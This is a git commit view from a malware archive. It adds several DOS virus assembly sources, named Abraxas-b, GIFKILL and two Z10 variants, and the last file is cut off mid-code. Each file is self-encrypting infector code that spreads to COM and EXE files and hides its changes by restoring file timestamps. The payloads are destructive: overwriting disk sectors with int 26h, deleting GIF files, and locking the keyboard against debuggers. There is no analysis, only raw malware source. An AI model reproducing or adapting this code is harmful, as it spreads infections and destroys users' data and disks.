re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
+365
View File
@@ -0,0 +1,365 @@
; Abraxas.asm : [Abraxas-b] by Abraxas
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'DA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov bx,offset startencrypt ; start of decryption
mov cx,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,07h ; add word ptr cs:[bx], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc bx ; calculate new decryption location
inc bx
loop decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],5 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
jmp activate ; Always activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate: ; Conditions satisfied
mov cx,255 ; Nuke a few sectors
mov dx,1 ; Beginning with sector 1!!!
int 26h ; VIPERize them!!!! Rah!!!
jc error ; Uh oh. Problem.
add sp,2 ; Worked great. Clear the stack...
error:
inc al ; Get another drive!
cmp al,200 ; Have we fried 200 drives?
je done_phrying ; Yep.
jmp short activate ; Nope.
done_phrying:
cli ; Disable Interrupts
jmp exit_virus
creator db '[Z10]',0 ; Mass Produced Code Generator
virusname db '[Abraxas-b]',0
author db 'Abraxas',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
cmp ax,'DN' ; Ends in ND? (commaND)
jz find_next
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,12000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
+392
View File
@@ -0,0 +1,392 @@
; GIFKILL.ASM -- Seek and Destroy GIF
; Written by Dark Avenger
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
lea bx,[di + null_vector] ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov cx,0003h ; Do 3 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
call get_weekday
cmp ax,0005h ; Did the function return 5?
je strt00 ; If equal, do effect
jmp end00 ; Otherwise skip over it
strt00: lea dx,[di + data00] ; DX points to data
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; All file attributes valid
int 021h
jc erase_done ; Exit procedure on failure
mov ah,02Fh ; DOS get DTA function
int 021h
lea dx,[bx + 01Eh] ; DX points to filename in DTA
erase_loop: mov ah,041h ; DOS delete file function
int 021h
mov ah,03Ch ; DOS create file function
xor cx,cx ; No attributes for new file
int 021h
mov ah,041h ; DOS delete file function
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc erase_loop ; Repeat until no files left
erase_done:
end00:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
db 0FAh,045h,02Eh,0B3h,024h
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
db 0A6h,03Ch,0B6h,078h,0CCh
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 002h,0EFh,034h,048h,091h
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
db 089h,043h,03Bh,054h,0AAh
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 db "*.GIF",0
vcl_marker db "[Z10]",0 ; VCL creation marker
note db "Bye Bye Mr.GIF",0
db "You'll never find all the file"
db "s I have infected!",0
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
+375
View File
@@ -0,0 +1,375 @@
; Z10.asm : [Z10] by Paul Ferguson
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'ZA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov si,offset startencrypt ; start of decryption
mov di,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc si ; calculate new decryption location
inc si
dec di ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],2 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ah ; Get current date
int 21h
cmp dh,10 ; Check month
jb exit_virus
cmp dl,30 ; Check date
jb exit_virus
cmp cx,1991 ; Check year
jb exit_virus
cmp al,0 ; Check date of week
jb exit_virus
mov ah,2ch ; Get current time
int 21h
cmp dl,50 ; Check the percentage
jbe activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate: ; Conditions satisfied
mov al,0002h ; First argument is 2
mov cx,0080h ; Second argument is 16
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; Remove the semi-colon
sti ; Restore interrupts
mov ax,04C00h ; DOS terminate function
int 021h
jmp exit_virus
creator db '[PF]',0 ; Mass Produced Code Generator
virusname db '[Z10]',0
author db 'Paul Ferguson',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
cmp ax,'DN' ; Ends in ND? (commaND)
jz find_next
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,13000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
+353
View File
@@ -0,0 +1,353 @@
; Z10.asm : [Z10] by Paul Ferguson
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'ZA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: loop decrypt ; handles encryption and decryption
patch_startencrypt:
mov si,offset startencrypt ; start of decryption
mov di,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc si ; calculate new decryption location
inc si
dec di ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],2 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ch ; Get current time
int 21h
cmp dl,90 ; Check the percentage
jbe activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
